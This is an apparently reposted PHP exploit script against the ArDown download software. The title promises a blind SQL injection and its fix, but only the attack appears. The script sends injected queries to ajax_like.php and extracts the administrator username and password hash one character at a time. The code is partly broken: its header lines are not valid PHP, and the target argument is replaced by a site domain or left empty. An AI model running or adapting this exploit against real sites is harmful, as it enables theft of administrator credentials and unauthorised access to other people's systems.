AraDown盲注及修复

<?php
标题: ArDown (All Version) <- Remote Blind SQL Injection
作者 : G-B g22b@hotmail.com
程序下载地址  :
    # Version        : All Version
[*]-----------------------------------------------------------------------[*]
 
[*] Target -> ";
 
$target = stdin();
$ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
 
echo "[*] Username : ";
 
for($i=1;$i<=30;$i++){
    foreach($ar as $char){
        $b = send(' www.2cto.com ',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b) && $char == 'z'){
            $i = 50;
            break;
        }
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}
 
echo "\n[*] Password : ";
 
for($i=1;$i<=32;$i++){
    foreach($ar as $char){
        $b = send('',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}
 
function send($target,$query){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php");
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query));
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $r = curl_exec($ch);
    curl_close($ch);
    return $r;
}
function stdin(){
    $fp = fopen("php://stdin","r");
    $line = trim(fgets($fp));
    fclose($fp);
    return $line;
}
?>
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